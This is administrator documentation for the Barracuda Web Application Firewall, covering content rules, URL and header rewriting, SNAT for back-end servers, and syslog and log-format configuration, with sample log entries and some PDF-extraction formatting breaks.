decisions for Web traffic coming into that Service. Rules can use HTTP request headers to make load balancing and caching policy decisions. To
add a content rule to a Service:
1. From the BASIC > Services page in the Services section find the Service to which you want to add a content rule.
2. Click Rule next to the Service. The Add Content Rule window appears.
a. Rule Group Name – Name to identify this rule group.
b. Status - Set to On to make this rule group part of the rule match.
c. Host Match – Enter the matching criterion for host field in the Request Header. This is either a specific host match or a wildcard
host match with a single " * " anywhere in the host name. Specify * if you want the rule to be matched with any host. If the
Service hosts multiple applications under different domains and you wish to add the rule only for a particular domain, enter the
relevant host name such as - www.example.com or *.example.com.
d. URL Match – Enter the matching criterion for URL field in the Request Header. The URL should start with a "/" and can have
only one " * " anywhere in the URL. A value of /* means that the ACL applies for all URLs in that domain. Use /* if you want to
cover all the URLs in your domain. (Example: /*, /index.html, /public/index.html)
e. Extended Match – Enter an expression that consists of a combination of HTTP headers and/or query string parameters. Use '*'
to apply to any request, that is, do not apply the Extended Match condition. Refer to Extended Match Syntax Help to find out
how to write extended match expressions.
f. Extended Match Sequence – Specify a number which will determine the order for matching the extended match rule. The order
range is 1 to 1000 (default is 1000).
4. Click Add.
Back To: How to Redirect Traffic to a Different Back-end Server Based on a URL Pattern


This feature is available on all units, however the way to access this feature varies depending on your firmware version.
The WEBSITES > Traffic Management page allows you to define content rules that specify a pattern in the URL or header fields of the request.
The Barracuda Web Application Firewall compares URLs and header fields of requests to the rules you define, and applies the content rule
policies to matching requests.
Creating a Content Rule
1. For Firmware version 7.6 and higher:

a. From the BASIC > Services page in the Services section identify the desired Service.
2. For Firmware versions before 7.6:
a. From the WEBSITES > Traffic Management page in the Services section, identify the desired service.
3. Click the Rule option next to the Service. The Add Content Rule window appears.
4. In the URL Match field, enter the URL of the requests you want to redirect to a different back-end server. Specify appropriate values for
other fields and click Add. See How to Add a Content Rule.
5. Click the Server option next to the rule you just created. The Add Real Server window appears.
6. In the IP Address field, enter the destination IP address where matching requests should be redirected. Specify appropriate values for
the other fields and click Add. See How to Add a Real Server.
Example:
To redirect incoming requests for "www.barracuda.com/xyz/" to Server1 (192.168.1.1) you would create a content rule as follows:
Rule Group Name – abc

Host Match – www.barracuda.com
URL Match – /xyz*
Extended Match – * (or specify the condition under which the redirection should take place)
Extended Match Sequence – 1000
Adding a Server:
IP Address – 192.168.1.1
Port – 80
Status – In Service

Content Rewriting
In this article:
Configuring URL Translation

Configuring HTTP Request Rewrite
Configuring HTTP Response Rewrite
Configuring Request Rewrite and Response Rewrite
Request Rewrite Tokens
Response Rewrite Tokens
Operations for Request Rewrite and Response Rewrite Conditions
Configuring Response Body Rewrite
Supported Macros
For Request Rewrites
For Response Page
This article applies to Barracuda Web Application Firewall Model 460 and higher.
The Barracuda Web Application Firewall allows you to rewrite selected content of requests and responses. This feature can be used to implement
website cloaking and translation of URLs and headers in requests and responses. It can translate the internal codes, headers, and cookies so
they are concealed from external users. Content rewriting allows you to configure address translation rules for application specific packets sent
through the Barracuda Web Application Firewall.
Configuring URL Translation
When a web server returns a URL, sensitive information about the web server may be revealed, which could be used to launch a variety of web
attacks against the server. URL translation modifies the prefix, domain, and response body of an internal URL to an externally viewable URL,
thus preventing potential attacks.
URL translation can externalize internal applications, which link to internal servers (not defined in the external DNS name space). For example,
Company ABC has an internal application registered in the internal DNS as finance.abc. URL translation can make this application available to
external partners behind a common public domain such as www.companyabc.com without exposing the internal name space. Through URL
translation, Company ABC can map different internal and external prefixes so the internal application is available on the public Internet as www.c
ompanyabc.com/finance.abc. To configure URL Translation, use WEBSITES > Website Translations > URL Translations. Click Help on that
page for detailed configuration instructions.
Configuring HTTP Request Rewrite
HTTP Request Rewrite allows incoming requests to be rewritten or redirected. Headers can be added, removed, or edited on the Barracuda Web
Application Firewall before the request is forwarded to the back-end server. The URL can be rewritten to map to a different resource. A redirect
response can also be issued to the clients to point them to an updated location or resource. For example, Request Rewrite is used by default to
relay the client IP address to the back-end server (in Proxy mode), by inserting the header X-Forwarded-For with the value of the client IP. The
back-end server can extract and use this value. Similarly authentication parameters (such as certificate details or user name) could be forwarded
by inserting request headers and using macros. See How to Pass Client Certificate Details to a Back-end Server for more details. To configure
HTTP Request Rewrite, use WEBSITES > Website Translations > HTTP Request Rewrite. For detailed configuration instructions, click Help o
n that page. To format a Request Rewrite
Condition refer to Format of Request Rewrite and Response Rewrite Conditions below.
Configuring HTTP Response Rewrite
This policy sets rewrite rules for outbound responses. It allows you to add, delete, or rewrite headers. Response Rewrites are used for many
purposes. For example, if a response included a header listing the source IP address, response rewrite could delete that header preventing
external users from seeing the actual IP address of the server.
To configure HTTP Response Rewrite, use WEBSITES > Website Translations > HTTP Response Rewrite. For detailed configuration
instructions, click Help on that page.
Configuring Request Rewrite and Response Rewrite
To configure a request rewrite rule, perform the following steps:
1. Go to the WEBSITES > Website Translations page, and in the HTTP Request Rewrite section or HTTP Response Rewritesection,
specify values for the following fields:
a. Rule Name – Enter a name for the request or response rewrite rule.
b. Sequence Number – Set the sequence number for the request or response rewrite policy. This number determines the order of
execution for multiple configured policies from highest (1) to lowest (1500).
c. Action – Set the action to: Insert Header -Inserts a header to the request; Remove Header - Removes the header from the
request; Rewrite Header - Rewrites the value of the existing header in the request.
d.

d. Header Name – Enter the relevant Header Name, for example X-Forwarded-For.
e. Old Value – Enter the initial request header to be rewritten if the Action is Rewrite Header. An asterisk (*) rewrites all named
headers, or specify the value or expression to be rewritten.
f. Rewrite Value – Enter the new value of the header to be rewritten when the Action is set to Insert Header or Rewrite Header.
Use the macros listed below to specify parameters from the client. When rewriting a header you can specify one or more fields
using the separators such as colon (:), semicolon (;), space ( ) and comma (,). In Rewrite Value, the fields can be defined for
example: "Name=abc_cookie; Domain=example.com:Path=/". The rewrite-value supports substring addressing of matches, i.e.
the matching substrings can be referenced using $1,$2,...$n. See Supported Macros below for a list of macros supported for
rewrite values.
g. Rewrite Condition – Set the condition under which a rewrite should occur. An asterisk (*) indicates there are no conditions
(applies to all). Details on the format of the Rewrite Condition are explained below in Rewrite Condition Format.
Note: When multiple policies are configured, the request continues to be processed by other (higher sequence number) policies. If you wish to
stop processing after a particular rule is matched, click Edit next to the rule and set Continue Processing to No.
The request Rewrite Condition specifies when a rewrite should occur. The Rewrite Condition is made up of expressions combining Request
Rewrite Tokens and Operations on those tokens for Request Rewrites. The Rewrite Condition is made up of expressions combining Respo
nse Rewrite Tokens and Operations on those tokens for Response Rewrites.These expressions can then be joined with each other using
logical or (or, OR, ||) or logical and (and, AND, &&). Examples of Rewrite Conditions: (Header User-Agent co mozilla) , (URI rco /abc*html),
(Client-IP eq 10.0.0.1)&&(Method eq POST). An asterisk indicates there are no conditions for rewrite, so the rewrite is done in every case.
Request Rewrite Tokens
These tokens can be used in a request Rewrite Condition:
Header: The HTTP header in the request. The word Header precedes the name of the relevant header or * to indicate all headers.
Examples: Header Accept co soap, Header Soap-Action ex.
Client-IP:The IP address of the client sending the request. The IP address can be either a host IP address or a subnet specified by a
subnet mask. Only operations EQ and NEQ can be combined with this token. Examples: Client-IP eq 192.168.1.0/24 (subnet qualified by
a netmask) Client-IP eq 192.168.1.10 (host IP address)
Uri: The Uniform Resource Identifier of the resource on which to apply the rule. Example: URI rco /abc*html
Method: The HTTP method in the request. Example: Method eq GET
Http-Version: The HTTP protocol version of the request. Example: HTTP-Version eq HTTP/1.1
Parameter: The query part of the URL which is passed to the servers as a name-value pair. In addition, the word "$NONAME_PARAM"
can be used when the parameter name is absent. Examples: Parameter sid eq 1234, Parameter $NONAME_PARAM co abcd
Pathinfo: The portion of URL which contains extra information about the path of the resource on the server. Example: pathinfo rco
abc*
Response Rewrite Tokens
These tokens can be used in a response Rewrite Condition:
Header: The HTTP header in the request. The word Header precedes the name of the relevant header or * to indicate all headers.
Examples: Header Accept co soap, Header Soap-Action ex.
Response-Header: An HTTP header on the response path. The term "Response-Header" should be followed by the name of the header
on which the action is to be applied. Example: Response-Header Set-Cookie co sessionid.
Status-Code: The status code of the response returned by the servers. Example: Status-Code eq 200
Operations for Request Rewrite and Response Rewrite Conditions
These operations can be combined with Request Rewrite Tokens and Response Rewrite Tokens in a request or response Rewrite Condition:
contains, CONTAINS, co, CO – Token contains the given value.

ncontains, nCONTAINS, nco, nCO – Token does not contain the given value.
rcontains, rCONTAINS, rco, rCO – Token contains the given value which is interpreted as a regular expression.
equals, EQUALS, eq, EQ – Token equals the given value.
nequals, nEQUALS, neq, nEQ – Token does not equal the given value.
requals, rEQUALS, req, rEQ – Token equals the given value interpreted as a regular expression.
exists, EXISTS, ex, EX – Token exists.
nexists, nEXISTS, nex, nEX – Token does not exist.
Configuring Response Body Rewrite
This policy sets the rule for searching and replacing any text string in the response body. Only responses whose content-type begins with text/
can be searched, including text/html, text/plain, text/javascript, text/css, text/xml. Neither flash nor applet content can be searched. The search

and replace strings should be text rather than regular expressions. Metacharacters cannot be used, such as \r or \n in either search or replace,
which means you cannot search and replace any multi-byte charset strings.
To configure Response Body Rewrite, use WEBSITES > Website Translations > Response Body Rewrite. For detailed configuration
Supported Macros
For Request Rewrites
$SRC_ADDR Inserts the source (client) IP address. You can use it for the new value (Rewrite Value parameter) when inserting or
rewriting a header
$URI Should be specified in the new value, if you are rewriting or redirecting the URI. $URI specifies the complete request URI including
the query string.
$X509_VERSION The client certificate's X509 version string.
$X509_SERIAL_NUMBER The serial number of the client certificate.
$X509_SIGNATURE_ALGORITHM The Signature Algorithm used in the client certificate.
$X509_ISSUER The client certificate's issuer string.
$X509_NOT_VALID_BEFORE Time from which the client certificate is valid.
$X509_NOT_VALID_AFTER Time after which the client certificate is invalid.
$X509_SUBJECT The client certificate's Subject string.
$X509_SUBJECT_PUBLIC_KEY_TYPE The X509 Certificate Subject Key Identifier String of the client certificate.
$X509_SUBJECT_PUBLIC_KEY Public Key modulus of the client certificate.
$X509_SUBJECT_PUBLIC_KEY_RSA_BITS Size of the client certificate's public key, in bits.
$X509_EXTENSIONS The client certificate's X509 Extensions String.
$X509_HASH The X509 Hash string of the client certificate.
$X509_WHOLE The X509 client certificate represented as a string in PEM format.
$AUTH_USER Adds the username.*
$AUTH_PASSWD Adds the password.*
$AUTH_GROUPS Adds the user roles.*
*Note:
a. The URL is not protected, i.e. access-control or authentication is off. The value substituted for the above three macros will be the
special string NCURLNotProtected.
b. The client has not logged in. The value substituted for the above three macros will be the special string NCNoUserSession.
c. The user does not belong to any groups. The value substituted for $AUTH_GROUPS will be the special string NCNOUserRoles
.
For Response Page
%action-id The attack id of the violation which resulted in this response page being displayed.
%host The host which sent this request.
%s The URL of the request which caused this violation.
%client-ip The Client IP address of the request which caused the violation.
%attack-time The time at which the violation occurred.
%attack-name The attack name of the violation which resulted in the response page to be displayed.

How to Allow Internet Access for the Back-end Servers in Two-Arm Proxy Mode
When the Barracuda Web Application Firewall is deployed in Two-Arm Proxy Mode, all traffic originating from the LAN to the Internet is denied by
default. NAT rules must be configured to map internal source IP addresses to routable IP addresses.
The Barracuda Web Application Firewall allows you to configure NAT rules on the ADVANCED > Advanced Networking page.
Configuring Source Network Address Translation Rule
1. From the ADVANCED > Network Firewall page in the Source Network Address Translation section, specify values for the following:
a. Pre SNAT Source - Specify the IP Address/Network of your back-end Web server that needs to be translated.
b. Pre SNAT Source Mask - Specify the associated network mask for the source IP Address/Network.
c. Protocol - Select TCP/UDP as the communication protocol to be used between the hosts.
d. Destination Port - Specify the destination port/range of port numbers of the server to which the back-end server wants to
connect.
e. Outgoing Interface - Select WAN as the outgoing interface for the traffic to pass through.
f. Post SNAT Source - Specify the IP Address to which your Web server IP Address should be mapped to access the Internet.
2. Click Add.
If the Post SNAT Source is different from the WAN IP address of the Barracuda Web Application Firewall, you need to add the new IP address in
the Custom Virtual Interfaces section on the ADVANCED > Advanced Networking page to associate it to the WAN interface.
If the back-end server needs to connect to the Internet via Barracuda Web Application Firewall, the servers default gateway should be
either:
The LAN IP address of the Barracuda Web Application Firewall, OR

Custom Virtual Interface configured on the LAN interface of the Barracuda Web Application Firewall. Custom Virtual Interface
can be configured using Interface tab on the ADVANCED > Advanced Networking page.
NAT for LAN Servers (Auto SNAT)
You can configure auto SNAT for LAN servers to reach Internet directly without any NAT or ACL rule being configured. Use the ADVANCED >
Advanced Networking page to configure NAT for LAN Servers.
Steps To Configure NAT for LAN Servers
1. Go to the ADVANCED > Advanced Networking page.

2. In the Network Configuration section, select System as Network Group and then select the Configuration tab.
3. In the NAT for LAN Servers section, set Enable SNAT for LAN Servers to Yes.
4. Click Save.
When Enable SNAT for LAN Servers is set to Yes, all traffic originating from LAN to go out on the WAN is automatically NATted with the WAN
interface IP address. The traffic originating from any subnet that belongs to LAN is also NATted. In this case a user is not required to configure
SNAT and ACL rule for the real servers, as the Barracuda Web Application Firewall automatically NATs and allows the LAN traffic to go out to the
Internet.
If you want more granular access control on the traffic originating from the LAN going out to the Internet, set Enable SNAT for LAN Servers to N
o and manually configure the SNAT rule.

Logging, Reporting and Monitoring
In this Section:
Logs Overview
How to Configure Syslog and other Logs
How to Make the Client IP Address Available to the Back-end Server in Proxy Mode
Configuring Client Impersonation
Logging Actual Client IP Address on the Apache Server
Logging Actual Client IP Address In the IIS 7 and IIS 7.5 Server
How to Mask Sensitive Data in Logs
Reporting
Security Reports
Traffic Reports
Summary Reports
Administration/Audit Reports
Configuration Summary
PCI DSS Reports
Reporting 7.8 and Earlier
How to Set Up Barracuda Cloud Control
Receiving Trap Messages and System Alerts
System Log Messages
Configuring Notifications
How to Export Logs to ArcSight SIEM Devices

Logs Overview
The Barracuda Web Application Firewall has a comprehensive logging feature to record significant events. Events related to HTTP traffic, actions
of the Barracuda Web Application Firewall, and user actions are captured in logs. These log messages enable a system administrator to:
Obtain information about the Barracuda Web Application Firewall traffic and performance.
Analyze logs for suspicious activity.
Troubleshoot problems.
The following types of logs are available in the Barracuda Web Application Firewall:
Web Firewall Logs

Access logs
Audit logs
System Logs
Network Firewall Logs
Each log in Web Firewall Logs, System Logs and Network Firewall Logs is associated with a log level that indicates the severity of the log. An
administrator can configure the severity level based on the error messages/information that needs to be recorded in the logs. You can export the
logs in .csv format and save the file to your desktop using Generate CSV File and Download CSV File options.
Log Levels
0-Emergency – System is unusable (highest priority).

1-Alert – Response must be taken immediately.
2-Critical – Critical conditions.
3-Error – Error conditions.
4-Warning – Warning conditions.
5-Notice – Normal but significant condition.
6-Information – Informational message (on ACL configuration changes).
7-Debug – Debug-level message (lowest priority).
Web Firewall Logs
Web Firewall Logs are generated whenever suspicious activities, as specified in the access control lists, are detected. The log contains entries
for every HTTP request that the Barracuda Web Application Firewall has denied. This data allows the administrator to identify the client that made
the request, the method used and the result of the request. Using these logs, you can fine tune the security settings. For more information, refer
to the Tuning Security Rules Using Web Firewall Logs article.
When a service is created, the default web firewall policy is associated with the service, and the threshold for logging error messages is initially
set to 5-Notice. At that threshold, all violations/error messages (critical attack information to debug information) are logged on the BASIC > Web
Firewall Logs page. You can change the log level, based on your requirements, by editing a service on the BASIC > Services page.
Whenever a log is generated in Web Firewall Logs and Access Logs, a unique ID (UID) is associated with the log. You can
select the filter option ID and enter a unique ID to search a specific log.
The unique ID can be embedded in the custom response page. For more information, refer to the How to Create a Custom
Response Page article.
Access Logs
Access Logs are generated for all user request patterns. Access logs allow you to monitor the web traffic that passes through the Barracuda Web
Application Firewall for a specific user traffic pattern, or for a group of patterns. These logs provide information about website traffic and
performance.
Access Logs are enabled by default. To disable Access Logs, edit the service on the BASIC > Services page and set Enable Access Logs to
Off.
Audit Logs
Audit logs are generated whenever users log in or log out of the web interface of the Barracuda Web Application Firewall, except in a few rare
cases. They are:
The Login action is not logged, when:
Maintenance command is executed by a user or by the Barracuda Web Application Firewall, a new login session will be created in
maintenance mode, but it won't be logged.
The Logout action is not logged, when:

The Barracuda Web Application Firewall is restarted because critical processes have crashed, in which case the current existing
sessions won't be logged out.
The Maintenance command is executed by a user or by the Barracuda Web Application Firewall, in which case the current existing
sessions won't be logged out.
System Logs
The System Logs provide a centralized collection point for all types of error reports, system alerts, diagnostic messages, and status messages of
the Barracuda Web Application Firewall. Both hardware and software components of the Barracuda Web Application Firewall generate System
Logs providing information about the problems and performance of a module. System Logs are required for security and troubleshooting. System
logs are enabled by default, and are displayed on the ADVANCED > System Logs page.
The Network Firewall Logs are generated whenever network traffic passing through the interfaces (WAN, LAN and MGMT) matches configured
Network ACL rule. Network Firewall log entries provide information about each packet the Barracuda Web Application Firewall allowed or denied
based on the Action specified in the ACL rule. This data allows the administrator to identify where network traffic originated, was destined for,
and the action applied.
Filtering Log Entries
You can use filters to quickly locate specific types of log entries. The applied filter can be saved locally on the Barracuda Web Application for later
use. A filter can be created with a specific search criterion or multiple search criteria with AND/OR combination. The saved filters display when Sa
ved Filter is selected from the filter list.
Whenever a log is generated in Web Firewall Logs and Access Logs, a unique ID (UID) is associated with the log. You can select the filter option
ID and enter a unique ID to search a specific log.

How to Configure Syslog and other Logs
The Barracuda Web Application Firewall generates five types of logs which can be exported to configured remote servers using the syslog
mechanism. These logs also reside on the Barracuda Web Application Firewall log database, viewable on the GUI on various tabs. In addition,
logs can be exported in CSV format to external files. This article describes each element of syslog messages so an administrator can analyze
events and understand how the Barracuda Web Application Firewall handled each logged event. The syslog format details can help you use
external parsers or other agents, available starting with version 7.0.x of the firmware, to process the syslog messages sent from the Barracuda
Web Application Firewall
The following logs are explained briefly below. These logs can be segregated and distributed using the LOCAL 0 through LOCAL 7 facilities,
making management of these logs on the external syslog servers easier.
System Logs: Logs events generated by the system showing the general activity of the system.
Web Firewall Logs: Logs events which indicate the web firewall activity such as allowing, blocking or modifying the incoming requests
and responses as defined in the Barracuda Web Application Firewall rules and policies.
Access Logs: Logs events pertaining to traffic activity and various elements of the incoming HTTP request and the responses from the
back-end servers.
Audit Logs: Logs events pertaining to the auditing events generated by the system including configuration and UI activity by users like
admin.
Network Firewall Logs: Logs events generated whenever network traffic passing through the interfaces (WAN, LAN and MGMT) matches
the configured Network ACL rule.
If you have any questions after reading this document, please contact Barracuda Networks Technical Support.
In this article:
Enabling Syslog
Steps To Add a Syslog Server
Syslog Facility
To configure facilities for different log types
To configure log levels for different modules
Log Formats
Custom Log Format
Log Format Separators
Steps To Configure Logs Format
System Logs
Detailed Description
Web Firewall Logs
Access Logs
Audit Logs
Table of Log Formats
Enabling Syslog
To export logs to remote syslog servers, navigate to the ADVANCED > Export Logs page. In the Syslog section, enter the name and IP
addresses of up to 3 syslog servers where you want to direct the System Events, Web Firewall logs, Access logs, Audit logs and Network Firewall
logs. See Steps To Add a Syslog Server. If you are running syslog on a UNIX machine, be sure to start the syslog daemon process with the “ -r”
option so it can receive messages from external sources. Windows users require additional software to utilize syslog since the Windows OS does
not include the syslog capability. Kiwi Syslog is a popular solution, but there are many others to choose from, both free and commercial.
Syslog messages are sent over UDP/TCP/SSL ports. If there are any firewalls between the Barracuda Web Application Firewall and the
configured external servers, ensure that the respective port is open on the firewalls.
Steps To Add a Syslog Server

2. In the Syslog section, click Add Syslog Server. The Add Syslog Server window appears, specify values for the following:
a. Name – Enter a name for the syslog server.
b. IP Address – Enter the IP address of the syslog server.
c. Port – Enter the port associated with the IP address of the syslog server.
d. Connection Type – Select the connection type to transmit the logs from the Barracuda Web Application Firewall to the Syslog

d.
server. UDP is the default port for Syslog communication. UDP, TCP or SSL can be used in case of NG Syslog server.
e. Validate Server Certificate – Set to Yes to validate the syslog server certificate using the internal bundle of Certificate
Authority's (CAs) certificates packaged with the system. If set to No, any certificate from the syslog server is accepted.
f. Client Certificate – When set to Yes, the Barracuda Web Application Firewall presents the certificate while connecting to the
syslog server.
g. Certificate – Select a certificate for the Barracuda Web Application Firewall to present when connecting to the syslog server.
Certificates can be uploaded on the BASIC > Certificates page. For more information on how to upload a certificate, see How
to Add an SSL Certificate.
3. Click Add.
Syslog Facility
Syslog receives different types of log messages. In order to differentiate and store them in distinct log files, log messages contain a logging
priority and a logging facility in addition to the actual message and IP address.
All log messages are marked with one of the following facilities:
local0
local1
|ocal2
local3
local4
local5
local6
local7
For each configured syslog server, you can associate a specific facility (default = local0) with each log type, so your syslog server can segregate
the log of each type into a different file.
To configure facilities for different log types
1. Navigate to the ADVANCED > Export Logs page.

2. In the Syslog section, click Syslog Settings. The Syslog Settings dialog box appears.
3. Select the appropriate facility (Local0 to Local7) from the drop-down list for each log type and click Save Changes.
You can set the same facility for all log types. For example, you can set Local0 for System Logs, Web Firewall Logs, Access Logs,
Audit Logs and Network Firewall Logs.
To configure log levels for different modules
1. Navigate to the ADVANCED > Export Logs page.

2. In the Module Log Levels section, specify values for the following fields:
a. Name – Enter a name for the new setting.
b. Module – Select a module name from the drop-down list.
c. Log Level – Select a log level for the module from the drop-down list. By default, the log level is set to 0-Emergency. Note that
the lower the level, the higher the priority and the more attention the log entry demands. For example, log levels 0-Emergency
and 1-Alert are the highest priority situations, demanding more immediate response than 5-Notice or 6-Information.
d. Comment – (Optional). Enter comment about the new setting.
Module Log Level is an advanced feature, and available only when Advanced Settings is set to Yes on the ADVANCED > System
Configuration page.
Log Formats
You can customize the Web Firewall Logs, Access Logs, and Audit Logs formats sent to the syslog sever. You can choose from the predefined
log formats (Common Log Format, NCSA Extended Format, W3C Extended Format, or Default), or you can create a Custom Format. Given
below are the steps to specify the Custom Format.
Depending upon the configuration, an IP address of a Service, Client IP or Server IP can either be IPv4 or IPv6.
Custom Log Format
To customize the log format for any Log Type (except System Logs)
1. Navigate to ADVANCED > Export Logs page.

2.

2. In the Logs Format section, select Custom Format for any of the log types. The Custom Format can be defined in two ways:
a. Specify "%" followed by the alphabet. The alphabets and its meaning are given in the Table of Log Formats for different log
types. For example, if you configure "%h %u %t %r %ua %ci" as the custom format, the output will be "Jan 13 16:19:22
wsf 192.168.132.211 /cgi-bin/process.cgi 2010-01-13 05:49:22.350 -0500 "-" "Wget/1.10.2 (Red
Hat modified)" 192.168.128.7". OR,
b. Specify "name=value" format. For example, if you configure "host=%h url=%u time=%t ref=%r uagent=%ua src=%ci"
as the custom format, the output will be "Jan 13 16:19:22 wsf host=192.168.132.211
url=/cgi-bin/process.cgi time=2010-01-13 05:49:22.350 -0500 ref="-" uagent="Wget/1.10.2 (Red
Hat modified)" src=192.168.128.7". This format is used by some SEIM vendors such as ArchSight.
3. Click Save Changes to save the settings.
Log Format Separators
When defining log formats you can use space as a separator between each log format for Web Firewall Logs Format, Access Logs Format an
d Audit Logs Format.
For Access Logs Format, you could also use pipe (|) or semicolon (;) separators. Log formats can be separated by a single separator or a
combination of space, pipe and semicolon separators.
Log formats can use only one separator in each place i.e. space (" "), pipe (|) or semicolon. For example: %h %id|%u;%t %r|%s
For information on how to manage these logs please see the documentation available for your syslog server.
Steps To Configure Logs Format

2. In the Logs Format section, specify values for the following fields:
a. Syslog Header – Specify a header format, which will be displayed when %header is used in the logs format. For example,
consider the header format is "Barracuda", and the defined custom format is "%header %h %u %t %r %ua %ci". The output will
be "Barracuda Jan 13 16:19:22 wsf 192.168.132.211 /cgi-bin/process.cgi 2010-01-13 05:49:22.350 -0500 "-" "Wget/1.10.2 (Red
Hat modified)" 192.168.128.7". Values:
i. ArcSight Log Header – Uses this header format in the logs format.
ii. QRadar Log Header – Uses this header format in the logs format.
iii. Custom Header – Define a custom header format to be used in the logs format.
b. Web Firewall Logs Format – Select the format in which the Web firewall logs should be sent to the syslog server. Values:
i. Default – The default Web firewall log format defined by the Barracuda Web Application Firewall
ii. CEF:0 (ArcSight) – The Common Event Format (CEF) log used by ArcSight.
iii. LEEF1.0 (QRadar) – The Log Event Enhanced Format (LEEF) log used by QRadar.
iv. Symantec SIM – The default log format used by Symantec SIM.
v. RSA enVision – The default log format used by RSA envision.
vi. Splunk – The default log format used by Splunk.
vii. Custom Format – Define a custom log format using the values displayed under Web Firewall Logs in the Table of Log
Formats.
c. Access Logs Format – Select the format in which the access logs should be sent to the syslog server. Values:
i. Default – The default access log format defined by the Barracuda Web Application Firewall.
ii. Common Log Format – The default format for logged HTTP information.
iii. NCSA Extended Format – The Common Log Format appended with referer and agent information.
iv. W3C Extended Format – The default log format used by Microsoft Internet Information Server (IIS).
v. CEF:0 (ArcSight) – The Common Event Format (CEF) log used by ArcSight.
vi. LEEF1.0 (QRadar) – The Log Event Enhanced Format (LEEF) log used by QRadar.
vii. Symantec SIM – The default log format used by Symantec SIM.
viii. RSA enVision – The default log format used by RSA enVision.
ix. Splunk – The default log format used by Splunk.
x. Custom Format – Define a custom log format using the values displayed under Access Logs in the Table of Log
Formats.
d. Audit Logs Format – Select the format in which the audit logs should be sent to the syslog server. Values:
i. Default – The default audit logs format defined by the Barracuda Web Application Firewall.
ii. CEF:0 (ArcSight) – The Common Event Format (CEF) log used by ArcSight.
iii. LEEF1.0 (QRadar) – The Log Event Enhanced Format (LEEF) log used by QRadar.
iv. Symantec SIM – The default log format used by Symantec SIM.
v. RSA envision – The default log format used by RSA envision.
vi. Splunk – The default log format used by Splunk
vii. Custom Format – Define a custom log format using the values displayed under Audit Logs in the Table of Log Formats.
The sections below describe the formats of the logs and elements sent over in each type of the event generated by the Barracuda Web

Application Firewall. Please be aware that syslog implementations vary, and may not display the messages in this exact format. However, these
sections should be present in the syslog lines.
System Logs
The default log format for the events generated by the Barracuda Web Application Firewall system is as follows:
%t %un %lt %md %ll %ei %ms
You cannot customize the format of System Logs.
For information on default log formats and their meanings, see the table below.
Example:
2014-05-20 00: 54:44.627 -0700 WAF1 SYS ADMIN_M ALER 51001 Account has been locked for user Kevin because
the number of consecutive log-in failures exceeded the maximum allowed
The following table describes each element of a system log with respect to the above example:
Field Name Example Description
Time 2014-05-20 00: 54:44.627 -0700 The date and time at which the event
occurred.
Unit Name WAF1 Specifies the name of the unit which is same
as the Default Hostname on the BASIC > IP
Configuration page.
Log Type SYS Specifies the type of log: Web Firewall Log,
Access Log, Audit Log, Network Firewall Log
or System Log.
Values: WF, TR, AUDIT, NF, SYS
Module Name ADMIN_M Denotes the name of the module that

generated the logs.
Example: STM, SAPD, LB, PROCMON, etc.
Log Level ALER The level of severity.
Values:
EMERGENCY – System is unusable

(highest priority).
ALERT – Response must be taken
immediately.
CRITICAL – Critical conditions.
ERROR – Error conditions.
WARNING – Warning conditions.
NOTICE – Normal but significant
condition.
INFORMATION – Informational
message (on ACL configuration
changes).
DEBUG – Debug-level message (lowest
priority).
Event ID 51001 The event ID of the module.
Message Account has been locked for user Kevin Denotes the log message for the event that
because the number of consecutive log-in occurred.
failures exceeded the maximum allowed.
Web Firewall Logs
All the actions/events on the web firewall are logged under Web Firewall Logs. These logs help the administrator to analyze the traffic for

suspicious activity and also fine tune the web firewall policies.
Navigate to the BASIC > Web Firewall Logs page to view the generated log messages. This log data is obtained from the log database on the
Barracuda Web Application Firewall itself. As noted above, the external syslog server IP for these logs is specified under ADVANCED > Export
Logs > Syslog. Over syslog, every log in the Barracuda Web Application Firewall has a level associated with it, which indicates the severity of
the logs. An administrator can configure what level of logs should be recorded for each service by editing the Service under the BASIC >
Services page.
The default log format for Web Firewall Logs:
%t %un %lt %sl %ad %ci %cp %ai %ap %ri %rt %at %fa %adl %m %u %p %sid %ua %px %pp %au %r
Unit Name, Log Type, and Log ID are not displayed on the BASIC > Web Firewall Logs page.
IPv4 Example:
2014-04-11 10:50:30.411 +0530 wafbox1 WF ALER PRE_1_0_REQUEST 99.99.1.117 34006 99.99.109.2 80 global
GLOBAL LOG NONE [POST /index.cgi] POST 99.99.109.2/index.cgi HTTP REQ-0+RES-0 “Mozilla/5.0 (X11; Linux
i686; rv:12.0) Gecko/20100101 Firefox/12.0” 99.99.1.117 34005 Kevin http://99.99.109.2/index.cgi
IPv6 Example:
2014-04-11 10:52:01.579 +0530 wafbox1 WF ALER PRE_1_0_REQUEST 2001::117 43655 2001::1:109 80 global GLOBAL
LOG NONE [POST /index.cgi] POST 2001::1:109/index.cgi HTTP REQ-0+RES-0 " Mozilla/5.0 (X11; Linux i686;
rv:12.0) Gecko/20100101 Firefox/12.0" 2001::117 43654 Kevin http://2001::109/index.cgi
The following table describes each element of a web firewall log with respect to the above example:
Time 2014-04-11 10:50:30.411 +0530 The time recorded in the following format: "yy
yy-mm-dd hh:mm:ss.s" (one or more digits
representing a decimal fraction of a second)
TZD (time zone designator which is either Z
or +hh:mm or -hh:mm)
Unit Name wafbox1 Specifies the name of the unit which is same
as the Default Hostname on the BASIC > IP
Configuration page.
Log Type WF Specifies the type of log: Web Firewall Log,

or System Log.
Severity ALER Defines the seriousness of the attack.
Values:

(highest priority).
immediately.
condition.
changes).
priority).

Attack Type PRE_1_0_REQUEST The name of the attack triggered by the

request. For detailed information about
attack names and description, see Attacks
Description - Action Policy.
Client IP 99.99.1.117 The IP address of the client sending the

OR request.
2001::117
Note that an intermediate proxy or gateway
may have overwritten the actual source IP of
the client with its own. To retrieve the actual
client IP for logging you should configure the
Header Name For Actual Client IP under
the Edit actions for a service on the BASIC >
Services page.
Then the actual client IP can be extracted

from the header, (e.g. X-Forwarded-For)
logged in this field and used in security policy
checks involving the client IP. See also
related Proxy IP field below.
Client Port 34006 The port relevant to the client IP address.

OR
43655
Service IP 99.99.109.2 The IP address of the service that receives

OR the traffic.
2001::1:109
Service Port 80 The port relevant to the IP address of the

service.
Rule global The path of the URL ACL that matched with
the request. Here "webapp1" is the web
application and "deny_ban_dir" is the name
of the URL ACL created on the WEBSITES >
Allow/Deny page.

Rule Type GLOBAL This indicates the type of rule that was hit by
the request that caused the attack. The
following is the list of expected values for
Rule Type:
Global – indicates that the request matched

one of the global rules configured under
Security Policies.
Global URL ACL – indicates that the

request matched one of the global URL ACL
rules configured under Security Policies.
URL ACL – indicates that the request

matched one of the Allow/Deny rules
configured specifically for the given Web site.
URL Policy – indicates that the request

matched one of the Advanced Security rules
